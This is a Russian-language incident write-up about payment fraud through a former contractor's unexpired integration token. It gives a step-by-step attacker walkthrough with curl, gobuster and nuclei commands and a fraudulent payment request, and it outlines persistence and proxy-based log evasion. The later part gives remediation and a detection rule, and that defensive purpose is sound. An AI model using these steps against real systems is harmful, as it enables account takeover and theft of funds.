Заголовки про «хакеров, укравших миллионы» почти всегда создают неверную картину. В голове рисуется человек в толстовке, который часами подбирает эксплойт под уязвимость нулевого дня. В реальности 90% подобных инцидентов — это не взлом системы, а использование доступа, который система сама же оставила открытым. Разберём именно такой случай: оптовая компания потеряла 4,2 млн рублей через интеграционный «мост» между внутренней учётной системой и личным кабинетом на площадке контрагента — мост, который настраивал подрядчик, ушедший из проекта полгода назад.
С технической точки зрения это не эксплуатация уязвимости в привычном смысле — CVE тут нет. Это эксплуатация процесса, точнее его отсутствия: жизненный цикл доступа не был замкнут. В терминах классификации уязвимостей это укладывается в CWE-613 (Insufficient Session Expiration) и CWE-287 (Improper Authentication) — доступ, который должен был протухнуть после закрытия проекта, продолжал работать бессрочно.
Как это эксплуатируется
Восстановим сценарий по шагам — так, как это выглядело бы с точки зрения атакующего, получившего в руки старую переписку подрядчика.
Шаг 1. Разведка и подтверждение, что доступ ещё жив
Атакующему не нужно ничего ломать — достаточно проверить, что найденные в почте креды до сих пор рабочие. Для личного кабинета с формой логина это делается вручную или скриптом:
curl -s -i -X POST https://lk.postavshik-example.ru/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"login":"contractor_api","password":"Integr@2023!"}'
HTTP/1.1 200 OK
Content-Type: application/json
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...; Path=/; HttpOnly
{"status":"ok","token":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJjb250cmFjdG9yX2FwaSIsInJvbGUiOiJpbnRlZ3JhdGlvbiJ9...","expires_in":31536000}
Ключевая деталь — "expires_in":31536000. Год жизни токена для интеграционной учётки, у которой давно нет владельца, — это и есть та самая «незакрытая дверь». Если бы токен жил сутки или требовал ежедневного refresh с привязкой к IP подрядчика, вся история закончилась бы на этом шаге.
Шаг 2. Разведка поверхности API моста
Дальше нужно понять, что вообще доступно этому токену. Личные кабинеты подрядных интеграций почти всегда содержат недокументированные или полудокументированные эндпоинты — их находят перебором путей и анализом JS-бандла фронтенда:
gobuster dir -u https://lk.postavshik-example.ru \
-w /usr/share/wordlists/api-endpoints.txt \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9..." \
-t 40
===============================================================
/api/v1/payments (Status: 200) [Size: 4312]
/api/v1/counterparties (Status: 200) [Size: 8890]
/api/v1/payments/create (Status: 405) [Size: 128]
/api/v1/webhooks (Status: 200) [Size: 512]
/api/v1/admin (Status: 403) [Size: 90]
===============================================================
Плюс автоматизированная проверка на известные классы проблем интеграционных API — раскрытые токены, отсутствие rate-limit, слабую валидацию reference-параметров:
nuclei -u https://lk.postavshik-example.ru \
-t exposures/tokens,exposures/configs,misconfiguration/ -severity medium,high,critical
[medium] [exposed-jwt-secret] https://lk.postavshik-example.ru/api/v1/config
[info] [missing-rate-limit] /api/v1/payments/create
Шаг 3. Подмена реквизитов и инициация платежа
Имея рабочий токен с ролью integration и доступ к /api/v1/payments/create, атакующий формирует легитимный на вид запрос на оплату — от имени той же интеграции, что использовалась при закрытом уже проекте:
curl -s -i -X POST https://lk.postavshik-example.ru/api/v1/payments/create \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiJ9..." \
-H "Content-Type: application/json" \
-d '{
"counterparty_id":"CP-40217",
"amount":4200000,
"currency":"RUB",
"purpose":"Оплата по договору №2024-115",
"recipient_account":"40702810900000012345"
}'
HTTP/1.1 201 Created
{"payment_id":"PMT-88213","status":"processing"}
Обратите внимание: сумма и назначение платежа выглядят как обычная операционная деятельность компании — именно поэтому такой платёж не вызывает подозрений у бухгалтерии до момента сверки. С точки зрения системы это авторизованный запрос от валидного клиента интеграции — она не умеет отличить «подрядчик работает» от «кто-то использует ключи подрядчика».
Что и почему сработало бы
Если бы дело этим не ограничилось, у атакующего было ещё как минимум три логичных следующих шага:
- Закрепление. Через
/api/v1/webhooksможно было зарегистрировать собственный вебхук на уведомления о новых платежах и сверках — получать сигнал о движении денег раньше бухгалтерии. - Горизонтальное перемещение. Роль
integrationчасто имеет более широкие права, чем нужно для одной задачи — стоит проверить смежные эндпоинты (/api/v1/counterparties, экспорт реестра контрагентов) на предмет доступа к данным других клиентов площадки. - Сокрытие следов. Запросы шли бы через residential-прокси или VPN с ротацией IP, чтобы в логах не осталось повторяющегося адреса — типичный признак такой активности в access-логах: один и тот же
Bearer-токен приходит с десятков разных IP за короткий промежуток, при том что легитимный подрядчик обращался к API только с двух-трёх серверных адресов.
Почему это вообще сработало: система авторизации не была привязана ни к организационному факту («проект закрыт»), ни к техническому контролю («токен привязан к IP/устройству», «токен с коротким TTL», «вход требует второго фактора»). Технической уязвимости в коде не было — уязвимость была в жизненном цикле доступа.
Как закрыть
Работы заняли неделю, и большая часть — это не покупка нового софта, а наведение порядка в управлении доступами.
- Инвентаризация всех выданных доступов и токенов. В первую очередь — интеграционных ключей, которые обычно не входят в стандартный аудит «кто уволен, у кого есть доступ»:
# на стороне площадки/интеграции — выгрузить все активные токены и их владельцев curl -s -H "Authorization: Bearer $ADMIN_TOKEN" \ https://lk.postavshik-example.ru/api/v1/admin/tokens | jq '.[] | {owner, created_at, last_used, expires_in}' - Отзыв всех «забытых» доступов одним махом, а не выборочно:
curl -X DELETE https://lk.postavshik-example.ru/api/v1/admin/tokens/contractor_api \ -H "Authorization: Bearer $ADMIN_TOKEN" - Жёсткое ограничение TTL токенов — вместо года жизни выдавать краткоживущие токены с обязательным refresh и привязкой к IP/устройству:
{ "token_ttl": 3600, "refresh_ttl": 86400, "bind_to_ip": true, "require_mfa_for_refresh": true } - Двухфакторная аутентификация на входе в личный кабинет, включая сервисные и интеграционные учётки — TOTP или аппаратный ключ, а не только для «человеческих» логинов.
- Мониторинг аномалий по платежам и входам: алерт руководителю и в SIEM при платеже свыше пороговой суммы, входе с нового IP/устройства или использовании токена, не активного дольше 30 дней:
# пример правила для SIEM (псевдо-Sigma) detection: selection: event: payment_created amount|gte: 1000000 token_last_used_days|gte: 30 condition: selection action: alert_owner_and_freeze - Регламент офбординга: отзыв доступов подрядчика и увольняемого сотрудника происходит в тот же день закрытия проекта/трудового договора, а не «когда вспомнят» — с чек-листом и ответственным лицом, а не «на память».
- Периодический аудит выданных прав — раз в квартал прогонять список активных доступов и сверять с текущим списком сотрудников и действующих договоров подряда, а не полагаться на разовую чистку после инцидента.
Взлома не было. Была просто дверь, которую забыли закрыть на ключ — и через неё зашёл кто угодно, у кого оказался старый пароль.
Стоимость этих работ для компании оказалась в разы дешевле одного потерянного клиента — не говоря уже о повторной потере денег. Технически задача не требовала ни нового софта, ни перестройки архитектуры: требовалось ровно то, что обычно откладывают «на потом» — замкнуть жизненный цикл доступа так, чтобы закрытие проекта автоматически означало закрытие двери в систему.
